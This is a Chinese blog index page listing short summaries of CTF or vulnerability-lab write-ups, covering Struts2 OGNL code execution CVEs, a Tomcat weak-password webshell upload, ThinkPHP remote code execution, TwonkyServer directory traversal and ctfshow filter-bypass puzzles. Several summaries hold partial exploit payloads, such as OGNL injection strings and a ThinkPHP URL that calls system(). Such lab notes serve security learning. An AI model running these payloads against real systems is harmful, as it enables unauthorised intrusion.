大雪深埋

2026年1月21日

struts2 代码执行（CVE-2016-3087）

摘要：直接使用网络上的exp (%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org. 阅读全文

posted @ 2026-01-21 14:19 大雪深埋阅读(14) 评论(0) 推荐(0)

tomcat-pass-getshell 弱口令

摘要：使用弱口令登录，账号密码都是tomcat 使用哥斯拉生成jsp木马使用jar cvf abc.war test.jsp生成war包 ![image] 上传war包，哥斯拉连接查看flag 阅读全文

posted @ 2026-01-21 13:21 大雪深埋阅读(14) 评论(0) 推荐(0)

2026年1月20日

struts2 代码执行（CVE-2016-4438）

摘要：利用网上的exp (%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apa 阅读全文

posted @ 2026-01-20 20:57 大雪深埋阅读(16) 评论(0) 推荐(0)

thinkphp 代码执行 (CNVD-2018-24942)

摘要： exp ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp 阅读全文

posted @ 2026-01-20 20:42 大雪深埋阅读(22) 评论(0) 推荐(0)

struts2 命令执行（CVE-2016-3081）

摘要：利用网上的exp /memoindex.action? method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40ge 阅读全文

posted @ 2026-01-20 20:33 大雪深埋阅读(16) 评论(0) 推荐(0)

twonkyserver 目录遍历（CVE-2018-7171）

摘要： get请求构造payload：/rpc/dir?path= 查看010 阅读全文

posted @ 2026-01-20 20:19 大雪深埋阅读(16) 评论(0) 推荐(0)

目录浏览漏洞

摘要：直接查看flag 阅读全文

posted @ 2026-01-20 20:09 大雪深埋阅读(16) 评论(0) 推荐(0)

命令执行漏洞

摘要：直接执行?cmd=ls /tmp 阅读全文

posted @ 2026-01-20 20:07 大雪深埋阅读(10) 评论(0) 推荐(0)

2026年1月19日

web入门131-140

摘要： web131 分析代码强制转换了类型，所以只能使用溢出回溯限制 PHP中，为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗，限定了一次正则匹配中调用匹配函数的次数。回溯主要有两种贪婪模式下，pattern部分被匹配，但是后半部分没匹配（匹配“用力过猛”，把后面的部分也匹配过了）时匹阅读全文

posted @ 2026-01-19 20:15 大雪深埋阅读(40) 评论(0) 推荐(0)

web入门121-130

摘要： web121 分析代码发现过滤了更多，用SHLVL也被禁用了，可以使用${##}或${#?}来代替 ${PWD::${##}}???${PWD::${##}}?????${#RANDOM}${IFS}????.??? 解码得到flag web122 分析代码 PWD被禁了，发现HOME没有被禁，可阅读全文

posted @ 2026-01-19 11:01 大雪深埋阅读(50) 评论(0) 推荐(0)

公告